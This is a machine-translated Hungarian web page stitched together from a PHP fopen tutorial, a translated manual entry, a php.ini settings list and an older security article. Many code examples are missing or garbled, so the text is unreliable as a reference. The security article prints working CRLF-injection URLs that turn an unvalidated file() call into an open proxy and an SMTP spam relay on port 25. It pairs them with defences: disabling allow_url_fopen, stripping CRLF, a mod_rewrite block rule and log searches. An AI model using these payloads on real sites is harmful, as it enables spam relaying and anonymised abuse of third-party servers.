Menü
Ingyenes
Bejegyzés
itthon  /  Internet/fopen – Megnyit egy fájlt vagy URL-t. Fájlok és külső adatok megnyitása

Fopen – Megnyit egy fájlt vagy URL-t. Fájlok és külső adatok megnyitása

16,5K

Valójában a php fájl megnyitása nem nagy probléma. Az erdő közepén nehezebb lehet kinyitni egy üveg sört. De csak a lelkes programozók gondolják így. És kezdőknek beszéljünk a php összes funkciójáról a fájlokkal való munkához:

php fájlok

A php kiterjesztésű fájlok az azonos nevű programozási nyelven írt kódot tartalmaznak. Más nyelvekkel ellentétben a php szerveroldali programozási nyelv. Vagyis a szerver oldalon fut. Ezért a kódjának hibakereséséhez helyi szervert kell telepíteni az ügyfélgépre.

A php fájlokkal való munkához speciális alkalmazásokat használnak - programszerkesztőket. Ezek közül a leggyakoribbak:

  • álomszövő.
  • Szerkesztés.
  • Eclipse PHP fejlesztés.
A php alapú webhelyek létrehozásakor szükség lehet a programkód újrafelhasználására. Ilyen helyzetekben célszerű egy másik fájlban található kész megoldásokat beilleszteni. Ehhez az include konstrukciót használják. A szintaxisa a következő:

tartalmazza a fájlnevet

Csatlakozási példa:

Kapcsolt fájl:


Fájl beépítése is lehetséges a követelmény konstrukció használatával. Az include-tól eltérően még a programkód végrehajtása előtt is tartalmaz egy fájlt. A kódban szereplő követelmény segítségével ennek a fájlnak csak egy hívása lehetséges. Ismételt hozzáférés esetén a rendszer globális hibaüzenetet jelenít meg, és leállítja a program végrehajtását.

Az include konstrukció csak a program végrehajtása során köti össze a forrást. Támogatja a php fájlok többszöri olvasását. Ha hiba történik, csak egy figyelmeztető üzenet jelenik meg, és a kód végrehajtása a következő sortól folytatódik.

Fájlok megnyitása és bezárása

A php-ben a fájlokkal végzett összes művelet több szakaszban történik:

  • Fájl megnyitása;
  • Tartalomszerkesztés;
  • Fájl bezárása.

Az fopen() függvény a fájl megnyitására szolgál. A szintaxisa a következő:

int fopen(karakterlánc fájlnév, karakterlánc mód [, int use_include_path])

Elfogadott érvek:

  • string fájlnév - a fájl neve vagy abszolút elérési útja. Ha a fájl elérési útja nincs megadva, a rendszer az aktuális könyvtárban keresi. Ha a keresett fájl nem létezik, a rendszer hibaüzenetet jelenít meg. Példa:

  • karakterlánc mód - a fájl megnyitási módját határozza meg. Az érvelés által elfogadott értékek:
  • r - a fájl csak olvasásra nyitva van, a fájlmutató az elején van beállítva;
  • r+ – a fájl nyitva van olvasásra és írásra;
  • w - Új, csak írható fájlt hoz létre. Ha már létezik azonos nevű fájl, automatikusan törli az összes adatot;
  • w+ - új fájlt hoz létre íráshoz és olvasáshoz. Ha létezik ilyen fájl, akkor az adatait teljesen felülírják újakkal;
  • a - a fájl nyitva van írásra. A mutató a végére kerül. Vagyis a php fájlba való írás nem az elejétől kezdődik, hanem a végétől;
  • a+ - fájl megnyitása írás-olvasás módban. A felvétel a végétől kezdődik;
  • b – bináris adatokat tartalmazó fájlokkal való munkamód (bináris rendszerben). Ez a mód csak Windows operációs rendszeren érhető el.

Az fclose() függvény a fájlokhoz való hozzáférés bezárására szolgál. Szintaxis:

int fclose (int fájl) , ahol az int fájl a bezárandó webhely kezelője.

Minden olvasás vagy írás után a fájlt be kell zárni ezzel a funkcióval. Ellenkező esetben a fájlhoz létrehozott adatfolyam nyitva marad. Ez pedig a szerverkapacitás szükségtelen fogyasztásához vezet.

Példa:

Fájlok olvasása és írása

Egy fájl teljes tartalmának egyszerű megjelenítéséhez a readfile() függvény ideális. A szintaxisa a következő:

readfile (karakterlánc fájlnév) , ahol a fájlnév karakterlánc egy karakterlánc fájlnév (nem egy fájl leíró).


Ugyanez a fájl olvasható az fpassthru() függvény segítségével. Az adatokat a mutató végpontjától a fájl végéig olvassa be. A szintaxisa a következő:

int fpassthru (int fájl)

A funkció használatához meg kell nyitnia és be kell zárnia a fájlt. Példa:

Az eredmény hasonló az előzőhöz.

A php fájlfunkciók lehetővé teszik a tartalom soronkénti és karakterenkénti olvasását:

  • fgets karakterlánc (int fájl, int hosszúság)– a függvény beolvas egy hosszúságú karakterláncot. Példa:

  • string fread (int fájl, int hosszúság)- a művelet megegyezik az előzővel.

Két azonos funkció létezik a szöveges adatok fájlba írásához:

  • int fputok (int fájl, karakterlánc karakterlánc [, int hossza ])
  • int fwrite (int fájl, karakterlánc karakterlánc [, int hossza ])

A függvények a fájlba int fájlba írnak egy string string karakterláncot megadott hosszúságú int hosszúságú ( opcionális érv). Példa:

Fájlok létrehozása és törlése

Php fájl létrehozásához használhatja az fopen() függvényt "w" vagy "w+" hozzáférési módban. Vagy a touch() függvény. Beállítja a fájl módosítási idejét. Ha nincs a keresett nevű elem, akkor az létrejön. A szintaxisa.

(PHP 4, PHP 5, PHP 7)

fopen- Megnyit egy fájlt vagy URL-t

Leírás

forrás fopen (string $fájlnév , string $mód [, bool $use_include_path = false [, forrás $kontextus ]])

fopen() A fájlnév argumentumban megadott megnevezett erőforrást csatolja az adatfolyamhoz.

Paraméterlista

Ha a fájlnevet "scheme://..." formában adjuk át, akkor a rendszer URL-ként kezeli, és a PHP megkeres egy protokollkezelőt (más néven "wrappert") az adott sémához. Ha nincs burkoló hozzárendelve Egy protokoll, a PHP kiad egy megjegyzést, amely segít felderíteni a szkript lehetséges problémáját, majd úgy folytatja, mintha a fájlnév egy normál fájl lenne.

Ha a PHP úgy állította be a fájlnevet, hogy egy helyi fájlra mutasson, akkor a rendszer megpróbálja megnyitni az adott fájlhoz tartozó adatfolyamot. A fájlnak elérhetőnek kell lennie a PHP-nek, ezért győződjön meg arról, hogy a fájl engedélyei lehetővé teszik. Ha engedélyezte a csökkentett módot vagy az open_basedirt, akkor további korlátozások vonatkoznak.

Ha a PHP úgy állította be a fájlnevet, hogy egy regisztrált protokollra mutasson, és ez a protokoll hálózati URL-ként van regisztrálva, akkor a PHP állapotellenőrzést hajt végre az allow_url_fopen direktíván. Ha le van tiltva, a PHP figyelmeztetést ad, és az fopen hívás sikertelen lesz.

Megjegyzés:

A támogatott protokollok listája a Támogatott protokollok és burkolók részben található. Néhány protokoll ( burkolatok) támogatást kontextusés/vagy php.ini opciókat. A beállítható opciók listáját a megfelelő protokoll oldalon találja. (pl. php.ini érték user_agent wrapper használta http).

Windows platformon a fájl elérési útjában minden fordított perjelet meg kell hagynia, vagy perjeleket kell használnia.

$handle = fopen("c:\\mappa\\forrás.txt" , "r" );
?>

A mode paraméter határozza meg, hogy milyen típusú hozzáférést kér az adatfolyamtól. Ez a következő lehetőségek egyike lehet:

A lehetséges módok listája ehhez fopen() mód használatával
mód Leírás
"r" Megnyit egy csak olvasható fájlt; a mutatót a fájl elejére helyezi.
"r+" Megnyit egy fájlt olvasásra és írásra; a mutatót a fájl elejére helyezi.
"w" Megnyit egy fájlt csak írásra; a mutatót a fájl elejére helyezi, és a fájl hosszát nullára csökkenti. Ha a fájl nem létezik, akkor megpróbálja létrehozni.
"w+" Megnyit egy fájlt olvasásra és írásra; a mutatót a fájl elejére helyezi, és a fájl hosszát nullára csökkenti. Ha a fájl nem létezik, akkor megpróbálja létrehozni.
"a" Megnyit egy fájlt csak írásra; mutatót helyez el a fájl végére. Ha a fájl nem létezik, akkor megpróbálja létrehozni.
"a+" Megnyit egy fájlt olvasásra és írásra; mutatót helyez el a fájl végére. Ha a fájl nem létezik, akkor megpróbálja létrehozni.
"x" Létrehoz és csak írásra nyit meg; a mutatót a fájl elejére helyezi. Ha a fájl már létezik, hívja fopen() kudarccal végződik HAMISés szinthibát ad E_WARNING. Ha a fájl nem létezik, akkor megpróbálja létrehozni. Ez egyenértékű a zászlók megadásával O_EXCL|O_CREAT belső rendszerhíváshoz nyitott (2).
"x+" Létrehoz és megnyit olvasásra és írásra; egyébként ugyanúgy viselkedik, mint "x".
"c" Csak írásra nyit meg egy fájlt. Ha a fájl nem létezik, akkor létrejön. Ha a fájl létezik, akkor nincs csonkolva (ellentétben a "w"), és ennek a függvénynek a hívása nem okoz hibát (ugyanúgy, mint a "x"). A fájlmutató a fájl elejére kerül. Ez akkor lehet hasznos, ha zárolni szeretne egy fájlt (lásd nyáj()) váltás előtt, használat óta "w" csonkolhatja a fájlt a zárolás megszerzése előtt (ha csonkolni szeretné a fájlt, használhatja a funkciót ftruncate() zárkérés után).
"c+" Megnyit egy fájlt olvasásra és írásra; egyébként ugyanúgy viselkedik, mint "c".

Megjegyzés:

Az operációs rendszerek különböző családjai eltérő konvenciókkal rendelkeznek a sorvégződésekre. Amikor szöveget ír, és sortörést szeretne beszúrni, az operációs rendszernek megfelelő karaktereket (vagy szimbólumokat) kell használnia. Unix család rendszereket használ \n vonallezáróként a Windows család rendszerei használják \r\n mint a sorvégződések és a Macintosh család rendszerei \r vonallezáróként.

Ha rossz sorvégi karaktert használ a fájlok szerkesztésekor, előfordulhat, hogy a fájlok "furcsán" néznek ki megnyitáskor.

A Windows szövegfordítási mód jelzőt kínál ( "t"), amely automatikusan lefordítja \n ban ben \r\n miközben dolgozik a fájllal. És fordítva - használhatja is "b" bináris mód kényszerítése, amelyben az adatok nem konvertálódnak. Ezen módok használatához adja meg "b" vagy "t" a mód paraméter utolsó betűje.

Mivel az alapértelmezett fordítási jelző beállítása a SAPI-tól és az Ön által használt PHP verziótól függ, javasoljuk, hogy a megadott jelzőt a hordozhatóság érdekében kifejezetten állítsa be. Használnia kell a módot "t" ha szöveges fájllal dolgozik és használja \n hogy megjelölje egy sor végét a szkriptben anélkül, hogy aggódnia kellene a fájlok olvashatósága miatt más alkalmazásokban, például a Jegyzettömbben. Minden más esetben használja a zászlót "b".

Ha nem állítja be kifejezetten a „b” jelzőt, amikor bináris fájlokkal dolgozik, furcsa adatsérülést tapasztalhat, beleértve a sérült képfájlokat és furcsa karakterproblémákat. \r\n.

Megjegyzés:

Hordozhatósági okokból erősen ajánlott mindig a "b" jelző használata, amikor fájlokat nyit meg ezzel fopen() .

Megjegyzés:

Ezenkívül hordozhatósági okokból erősen ajánlott a régi kód átírása is, amely a módra támaszkodik "t" hogy helyette a megfelelő sorvégződéseket és módot használja "b".

use_include_path

Az opcionális harmadik use_include_path paraméter beállítható "1"-re vagy IGAZ ha egy fájlt is keresni szeretne az include_path -ban.

Kontextus

Megjegyzés: A PHP 5.0.0-ban a környezeti támogatás hozzáadásra került. Leíráshoz összefüggésekben lásd a Szálak részt.

Visszatérési értékek

Fájlmutatót ad vissza a sikerről, vagy HAMIS hiba esetén.

Hibák

Ha a fájl nem nyitható meg, szinthiba jön létre. E_WARNING. Egy operátor segítségével elnyomhatja ezt a hibát.

Változások listája

Példák

1. példa Használati példák fopen()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
$handle = fopen( "ftp://felhasználó: [e-mail védett]/valamelyik fájl.txt", "w");
?>

Megjegyzések

Figyelem

SSL használatakor a Microsoft IIS megszakítja a protokollt azáltal, hogy jelző küldése nélkül lezárja a kapcsolatot close_notify. A PHP ezt "SSL: Fatal Protocol Error" néven fogja jelenteni, amint eléri az adatok végét. Ennek megkerüléséhez az error_reporting-ot olyan szintre kell állítania, amely kizárja az E_WARNING elemet. A PHP 4.3.7-es és régebbi verziói képesek észlelni, hogy a problémás IIS a szerver oldalon van, amikor egy adatfolyamot burkoló segítségével nyit meg https://és nem jelenít meg figyelmeztetést. Ha használ fsockopen() létrehozásához ssl:// aljzat, Ön felelős a figyelmeztetés azonosításáért és elnyomásáért.

Megjegyzés: Ha a csökkentett mód opció engedélyezve van, a PHP ellenőrzi, hogy a könyvtár, amellyel dolgozni készül, ugyanazzal az UID-vel (tulajdonjoggal) rendelkezik-e, mint a futtatott szkript.

Megjegyzés:

Ha problémái vannak a fájlok olvasása vagy írása során, és a PHP-t szervermodulként használja, győződjön meg arról, hogy a szerverfolyamat hozzáfér az Ön által használt fájlokhoz és könyvtárakhoz.

Megjegyzés:

Ez a funkció akkor is sikeres lehet, ha a fájlnév egy könyvtár. Ha nem biztos abban, hogy a fájlnév fájl vagy könyvtár, akkor a funkciót kell használnia is_dir(), hívás előtt fopen() .

Az fopen, file, include és request függvények más webhelyekről is megnyithatnak fájlokat a http és ftp protokollok használatával. Ez a szolgáltatás a php-szkriptek potenciális sebezhetőségét rejti magában, amely lehetővé teszi a webhely proxyként történő használatát.

Figyelmeztetlek, ebben az anyagban semmi újdonság nem lesz. A támadók számára kínált lenyűgöző lehetőségek ellenére ez a sérülékenység egyszerűen a php jól ismert funkcióinak kombinációja.

2002-ben ezzel párhuzamosan több, szoftveres sebezhetőségek felkutatásában részt vevő csoport komoly és erőteljes sérülékenységet fedezett fel a php-ben.

Az orosz nyelvű interneten ezt a sebezhetőséget gyakorlatilag nem fedezték. A biztonsági kérdésekkel foglalkozó orosz nyelvű oldalakon nem találtam közvetlen üzenetet erről a sérülékenységről.

Sebezhetőség

Url fopen wrapper

A funkcionalitás növelése és a kódolás egyszerűsítése érdekében a php fejlesztők ezt a funkciót az fopen, file, include és egyebek közé tették. Ha a fájl neve "http://"-vel kezdődik, a szerver HTTP-kérelmet küld, letölti az oldalt, és úgy írja be a változóba, mintha egy normál fájl lenne. Az "ftp://", "php://" előtagok hasonlóan működnek (ez utóbbi az stdin, stdout és stderr formátumok olvasására és írására szolgál). Erre azért volt szükség, hogy a webhelyfejlesztők ne szenvedjenek a http-request könyvtáraktól, és ne írják meg azokat manuálisan. Ez az opció le van tiltva a php beállításokban, az allow_url_fopen paraméterben.

CR/LF a HTTP kérésekben

A HTTP-kérésben a kocsivissza- és soremelés karakterek kombinációja elválasztja a fejléceket. Erről bővebben Anton Kalmykov cikkében olvashat. Ez a karakterkombináció "%0D%0A"-ként adható át egy GET-kérésben.

nem megbízható bemenet

Sok webhelyen az oldalakat egy sablonszkript generálja. Minden webhelykérést átirányítunk a szkripthez. A megnyitandó fájl neve a REQUEST_URI forrásból származik. A fájl beolvasásra kerül, egy sablont adnak hozzá navigációval, fejléccel stb., majd az eredményt visszaküldik a kliensnek.

Egy gondatlan vagy tapasztalatlan programozó könnyen megírhat egy fájlmegnyitást az adatok ellenőrzése nélkül:

echo implode("", file(substr($REQUEST_URI, 1)));

Az első karakter, a perjel, kikerül a kérésből, és megnyílik a fájl. A támadó könnyen beírhatja a http://example.com karakterláncot a kiszolgálón lévő fájl elérési útjaként: http://n00b.programozó.com/http://example.com Egy másik lehetőség - az oldalon lévő összes cím így néz ki http://n00b.programmer.com/index.php?f=news Ebben az esetben a támadó megpróbál megnyitni egy hasonló címet http://n00b.programozó.com/index.php?f=http://example.com Nagyon fontos, hogy ne bízzunk a bejövő adatokban, és reguláris kifejezésekkel szűrjük a bejövő kéréseket.

Kihasználni

Mivel a fenti példában a címet semmilyen módon nem ellenőrzik, a kérésbe beszúrható egy HTTP-kérést tartalmazó karakterlánc. Ha egy betolakodó megnyitja az utat

Index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A
Gazda:+example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A, majd a szkript HTTP-kérést küld: GET example.com/ HTTP/1.0\r\n
Gazda: example.com\r\n
Felhasználói ügynök: Space Bizon/11/9/2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\r\n
HTTP/1.0\r\n
Házigazda: www.site1.st\r\n
Felhasználói ügynök: PHP/4.1.2\r\n
\r\n

A szkript automatikusan hozzáadja az utolsó három sort, de előttük két \r\n a kérés végét jelenti. Így egy nem védett szkript proxyszerverként használható. Számos "kiszivárgó" webhely ismeretében a támadó láncot építhet belőlük, hogy megnehezítse a megtalálását.

A kizsákmányolás okos használata

Ha az ingyenes demó hozzáférést biztosító szolgáltatónak van egy lyukas webhelye, akkor írhat egy szkriptet egy otthoni szerverhez, amely kéréseket generál egy ilyen proxyszerverhez, és pénzt takarít meg. Ez az eset természetesen joghatósági és büntetendő, de nagyjából kényeztetés. Valaki más gépének jövedelmezőbb használata proxyként, ha kereskedelmi spameket küld. Példa Ulf Harnhammar cikkéből:

Index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+soha+nem+mondja+a+szót+
ELHASZNÁLÁS+újra%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(egy sornak kell lennie) A PHP modul a 25-ös porton csatlakozik a mail.example.com szerverhez, és elküldi a következő kérést:

GET / HTTP/1.0\r\n
HELO my.own.machine\r\n
FELHÍVÁS:\r\n
RCPT TO: \r\n
ADATOK\r\n
soha többé nem fogom kimondani azt a szót, hogy HOZZÁSZÓL\r\n
.\r\n
KILÉPÉS\r\n\r\n

HTTP/1.0\r\n
Gazda: mail.site1.st:25\r\n
Felhasználói ügynök: PHP/4.1.2\r\n\r\n

A PHP és a levelezőszerver esküdni fog, de a levelet elküldik. Ha valakinek a webhelyén van ilyen sérülékenység, akkor kereshet egy zárt levéltovábbítót, amely fogadja a leveleket a kihasznált webszervertől. Ez a közvetítő nem kerül feketelistára a szolgáltatók által, és a spamelés nagyon hatékony lehet. Az oldalamon rengeteg kérést találtam a 25. porttal. Az idei év eleje előtt pedig nem érkezett ilyen kérés. Korábban csak néhány kíváncsi felhasználó tudott egy ilyen sérülékenységről, és csak tavaly vált ismertté a lyuk, és a spammerek is sugározták.

Használja ki a védelmi intézkedéseket

Fontos Önnek, mint az oldal fejlesztőjének vagy tulajdonosának, hogy mindent megtegyen annak érdekében, hogy senki ne küldhessen spamet az Ön webhelyén keresztül. Ha ez sikerül, akkor valami hawaii betárcsázóról küldik, aminek a tulajdonosai nem értik az emberi nyelvet, és extrémre tehetnek.

A lekérdezési napló ellenőrzése

Először is érdemes megismerkedni az oldalról kért egyedi címek listájával. Ez segít kideríteni, hogy történtek-e támadások és a lyuk kihasználása. Általában a spamküldők azonnal ellenőrzik, hogy a 25-ös porton csatlakozhatnak-e a számukra szükséges levéltovábbításhoz. Ezért keresse meg a ":25" és a "%3A25" karakterláncokat.

php beállítás

A lehetséges biztonsági rések letiltásának legegyszerűbb módja az URL-ek fájlfüggvényeken keresztüli megnyitásának megakadályozása. Ha Ön a szerver rendszergazdája, tiltsa le az allow_url_fopen paramétert a php beállításainál. Ha csak ügyfél, tiltsa be helyben. A webhely gyökér .htaccess fájljába írja be a következő sort: php_value allow_url_fopen 0 Ha gonosz tárhelyszolgáltató vagy, az direktívával letilthatod az URL fopen burkolóját minden ügyfélnél php_admin_value. A csökkentett mód engedélyezése ebben az esetben nem segít, a funkció továbbra is megfelelően működik.

Kódmódosítás

Lehetséges egy ilyen nehéz helyzet: Ön kliens, és egy hanyag tárhelyszolgáltató admin minden php beállítást beírt a php_admin_value-ba, és ezeket nem tudod megváltoztatni. Módosítania kell a szkript kódját. A legegyszerűbb módja az fopen, file és olyan függvények beillesztése, amelyek változónevekből nyitnak meg fájlokat. És vágja ki a http:// és ftp:// előtagokat az str_replace függvénnyel. Néha azonban a szkriptnek továbbra is meg kell nyitnia a felhasználótól származó címeket. Például egy script-pornolizátor, amely anyanyelveket illeszt be a szövegbe, vagy a szöveget törött oroszra cseréli ("útvonal a valódi asztsofhoz, fsem fftkat"). Valószínűleg ezeket az oldalakat érinti leginkább a hanyag programozás. Ebben az esetben teljesen lehetséges, hogy korlátozzuk magunkat a "\r\n" kivágására a kapott karakterláncból. Ebben az esetben a támadó nem tudja hozzáadni saját fejlécét az Ön által küldött kéréshez.

Hagyja abba a munkát a sértő kéréssel

Az a kliens, amely ellenőrizetlen változókat keres a webhelyén, szükségtelen forgalmat generál, és betölti a szerver processzorát. Nyilvánvaló, hogy nincs szüksége a webhely által generált oldalakra, ha azok nem működnek proxyként. Az ilyen kéréseket már a php interpreter elindítása előtt célszerű megölni. Ezt a mod_rewrite modul segítségével lehet megtenni. A webhely gyökerében található .htaccess fájlba a következő sort tettem:

Újraírási szabály ((%3A|:)25|%0D%0A) - [G]

Ez azt feltételezi, hogy a webhely nem küld el űrlapokat többsoros felhasználói bevitellel a GET metódus használatával. Ellenkező esetben ez a szabály leállítja őket.

Ha támogatja az olvasásbarát címzést a mod_rewrite segítségével, akkor valószínűleg a kettőspont és a CRLF nem használatos. Ezért a RewriteRule más sorai nem egyeznek meg a vizsgálati kéréssel, és a kérés feldolgozását leállító sort a szabályok listájának végére kell helyezni. Ezután a normál kéréseket átírják és átirányítják erre a sorra (használja az [L] jelzőt), ami csökkenti a feldolgozási idejüket. A körülményektől függően változhat.

Ebben a fejezetben megtanítjuk, hogyan kell megnyitni, olvasni és bezárni egy fájlt a szerveren.

PHP fájl megnyitása - fopen()

A fájlok megnyitásának jobb módja az fopen() függvény. Ez a függvény több lehetőséget biztosít, mint a readfile() függvény.

A leckéken a "webdictionary.txt" szövegfájlt fogjuk használni:

AJAX = Aszinkron JavaScript és XML
CSS = Cascading Style Sheets
HTML = Hyper Text Markup Language
PHP = PHP Hypertext Preprocessor
SQL = Strukturált lekérdezési nyelv
SVG = Scalable Vector Graphics
XML = Bővíthető jelölőnyelv

Az fopen() első paramétere a megnyitandó fájl nevét tartalmazza, a második paraméter pedig azt, hogy milyen módban kell megnyitni a fájlt. A következő példa egy üzenetet is generál, ha az fopen() függvény nem tudja megnyitni a megadott fájlt:

példa


echo fread($myfile,fileize("webszótár.txt"));
fclose($saját fájl);
?>

futtatási példa »

tipp: A fread() és az fclose() függvényeket az alábbiakban magyarázzuk el.

A fájl a következő módok egyikében nyitható meg:

módok Leírás
r Nyisson meg egy fájlt csak olvasásra
w Nyisson meg egy fájlt csak írásra
a Nyisson meg egy fájlt csak írásra
x Új fájlt hoz létre csak íráshoz
r+ Nyisson meg egy fájlt olvasásra/írásra. A fájlmutató a fájl elején kezdődik
w+ Nyisson meg egy fájlt olvasásra/írásra. Törli a fájl tartalmát, vagy új fájlt hoz létre, ha az nem létezik. A fájlmutató a fájl elején indul
a+ Nyisson meg egy fájlt olvasásra/írásra. A fájlban lévő adatok megmaradnak. A fájlmutató a fájl végén kezdődik. Új fájlt hoz létre, ha a fájl nem létezik
x+ Új fájlt hoz létre íráshoz/olvasáshoz. FALSE értéket és hibát ad vissza, ha a fájl már létezik

PHP Fájl olvasása - fread()

A fread() függvény egy nyitott fájlból olvas be.

A fread() első paramétere az olvasandó fájl nevét tartalmazza, a második paraméter pedig az olvasandó bájtok maximális számát adja meg.

A következő PHP kód beolvassa a "webdictionary.txt" fájlt a végéig:

Fread($sajátfájl,fájlméret("webszótár.txt"));

PHP fájl bezárása - fclose()

Az fclose() függvény a megnyitott fájl bezárására szolgál.

Jó programozási gyakorlat, ha az összes fájlt bezárja, miután végzett velük. Nem akarja, hogy egy nyitott fájl a kiszolgálón futjon, és lefoglalja az erőforrásokat!

Az fclose() megköveteli a bezárni kívánt fájl nevét (vagy a fájlnevet tartalmazó változót):

$myfile = fopen("webszótár.txt", "r");
// valami végrehajtandó kód....
fclose($saját fájl);
?>

PHP egysoros olvasás - fgets()

Az fgets() függvény egyetlen sor beolvasására szolgál egy fájlból.

Az alábbi példa a "webdictionary.txt" fájl első sorát adja ki:

Jegyzet: Az fgets() függvény hívása után a fájlmutató a következő sorba került.

PHP Fájlvég-ellenőrzés - feof()

A feof() függvény ellenőrzi, hogy elérték-e a "fájl végét" (EOF).

A feof() függvény hasznos az ismeretlen hosszúságú adatok hurkolásához.

Az alábbi példa a "webdictionary.txt" fájlt soronként olvassa, amíg el nem éri a fájl végét:

példa

$myfile = fopen("webszótár.txt", "r") or die("Nem lehet megnyitni a fájlt!");
// Egy sort ír ki a fájl végéig
while(!feof($myfile)) (
echo fgets($myfile) . "
";
}
fclose($saját fájl);
?>

futtatási példa »

PHP olvasás egykarakteres - fgetc()

Az fgetc() függvény egyetlen karakter beolvasására szolgál egy fájlból.

Az alábbi példa a "webdictionary.txt" fájlt karakterenként olvassa, amíg el nem éri a fájl végét:

példa

$myfile = fopen("webszótár.txt", "r") or die("Nem lehet megnyitni a fájlt!");
// Egy karaktert ír ki a fájl végéig
while(!feof($myfile)) (
echo fgetc($saját fájl);
}
fclose($saját fájl);
?>

futtatási példa »

Jegyzet: Az fgetc() függvény hívása után a fájlmutató a következő karakterre lép.

Teljes PHP fájlrendszer-referencia

A fájlrendszer-funkciók teljes leírásához ugorjon a teljes oldalunkra

A php.ini fájl helye attól az operációs rendszertől függ, amelyen a tárhelyszolgáltató szervere fut. Ha meg szeretné tudni, hol van, kövesse 4 egyszerű lépést:

  1. Hozzon létre egy php fájlt (a név bármi lehet, de példaként vesszük a myphpinfo.php fájlt), és adja hozzá a következő sorokat:
  2. Ezt a fájlt feltöltjük arra a szerverre, ahol az Ön webhelye található (a gyökérmappába).
  3. A böngészőn keresztül indítjuk el (adja meg a https://webhelyneve.com/myphpinfo.php URL-t).
  4. A megjelenő ablakban keresse meg a php.ini elérési útját (elsőként nézze meg a "Loaded Configuration File"-t, ha a "Nincs", akkor nézze meg a "Configuration File (php.ini) Path"-t).

Hogyan kell beállítani a php.ini-t?

A php.ini fájl ezeket a "directive=value" szintaktikai szabályokat tartalmazza. Ha megjegyzéseket szeretne hozzáadni (például, amelyben megjelöli, hogy ez a beállítás mit érint), akkor azt pontosvessző után tegye (minden, ami ez a jel után következik, nem számít parancsnak). Íme egy példa:

max_végrehajtási_idő = 40 ; A szkript végrehajtásának másodpercek maximális száma

Általános beállítások

phpengine = be ; PHP szkript engedélyezve.

Short_open_tag = Be ; Lehetővé teszi a PHP kód egyszerű keretbe foglalását címkékkel

Asp_tags = Be ; Lehetővé teszi a PHP kód kiemelését, ahogy az ASP-ben történik -<% %>

Pontosság = 12 ; Meghatározza, hogy a lebegőpontos számoknál hány számjegy legyen a tizedesvessző után.

output_buffering = 4096 ; A kimeneti pufferelés automatikusan engedélyezve lesz, az "egyenlő" után megadott puffermérettel.

Safe_mode = Be ; Biztonságos mód.

Safe_mode_allowed_env_vars = PHP_ ; Lehetővé teszi a felhasználó számára, hogy csak a PHP_ karakterrel kezdődő környezeti változókkal dolgozzon. Ha ez az utasítás üres (nincs érték), akkor a felhasználók bármilyen környezeti változót módosíthatnak. Ez nagyon rossz lehet a szkriptbiztonság szempontjából.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Megtiltja a vesszővel elválasztott változók megváltoztatását.

disable_functions = ; Az "egyenlő" jel után vesszővel elválasztva fel kell írni a letiltani kívánt funkciókat (általában a biztonság kedvéért)

disable_classes = ; Az "egyenlő" jel után vesszővel elválasztva fel kell írni azokat az osztályokat, amelyek hívását tiltani szeretné (általában a biztonság kedvéért)

Erőforrás korlát

max_végrehajtási_idő = 40 ; A szkript végrehajtásának maximális ideje (másodpercben)

Max_bemeneti_idő = 40 ; Az a maximális idő másodpercben, ameddig a szkript feldolgozhatja a betöltendő adatokat.

Memória_korlát = 16M ; Egy parancsfájl működéséhez lefoglalt maximális memória

Hibakezelés és naplók

error_reporting = E_ALL | E_ERROR | E_WARNING | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Megadja a kiadható hibák listáját.

display_errors = Be; Lehetővé teszi a hibák közvetlenül a böngészőbe történő kiadását (gyakran a hibakeresés kényelmét szolgálja).

display_startup_errors = Be ; A PHP indítási hibái megjelenhetnek.

log_errors = be ; A hibák a naplófájlba írhatók.

log_errors_max_len = 1024 ; A napló maximális karakterszáma lehet.

Track_errors = Be ; A legutóbbi hibaüzenet a $php_errormsg változóban lesz tárolva

html_errors = Be ; A hibaüzenetek megengedettek a HTML-ben.

error_log = fájlnév ; Megadja a hibanapló nevét.

Adatfeldolgozás

variables_order = "EGPCS" ; Beállítja, hogy a PHP milyen sorrendben regisztrálja a változókat (E - beépített változók, G - GET változók, P - POST változók, C - Cookie-k, S - munkamenetek). Ha eltávolítja bármelyik betűt, akkor a megfelelő változók munkája blokkolva lesz.

Register_globals = Be ; Lehetővé teszi a GET/POST/Cookie/session útján beérkező változók normál változóként való elérését (pl. "$változónév").

Register_argc_argv = Be ; A GET metódusból származó információk alapján megengedett $argv és $argc változók létrehozása.

Post_max_size = 8M ; Beállítja a fogadható adat maximális mennyiségét.

Magic_quotes_gpc = Be ; Lehetővé teszi a POST/GET/Cookie-n keresztül érkező árajánlatok automatikus kezelését.

Auto_prepend_file = ; Az ezekben a direktívákban meghatározott fájlok tartalmát a PHP-nek megfelelően fel kell dolgoznia, MIELŐTT a szkriptet végrehajtják.
auto_append_file = ; Az ezekben a direktívákban meghatározott fájlok tartalmát a PHP-nek ennek megfelelően kell kezelnie a szkript végrehajtása UTÁN.

Default_mimetype = "text/html" ; Beállítja a tartalomtípus kódolását. Az alapértelmezett szöveg/html kódolás nélkül.

Doc_root = ; Beállítja a PHP szkriptek gyökérmappáját.

Extension_dir = "./" ; Megadja azt a mappát, ahol a dinamikusan betöltött kiterjesztések tárolásra kerülnek.

Fájlfeltöltés

file_uploads = Be ; Fájlok feltöltése a szerverre megengedett.

Upload_tmp_dir = ; Ideiglenes könyvtár a feltöltött fájlokhoz.

Feltöltés_maximális_fájlmérete = 2M ; Beállítja a feltölthető fájl maximális méretét.

Munka aljzatokkal

user_agent="PHP" ; A USER_AGENT változó a socket-kapcsolat létrejöttekor kerül beállításra.

alapértelmezett_socket_timeout = 30 ; A maximális hallgatási idő egy aljzaton (másodperc).

Munkamenetek

session.save_handler = fájlok ; Meghatározza, hogy a munkamenet információit fájlokban kell tárolni

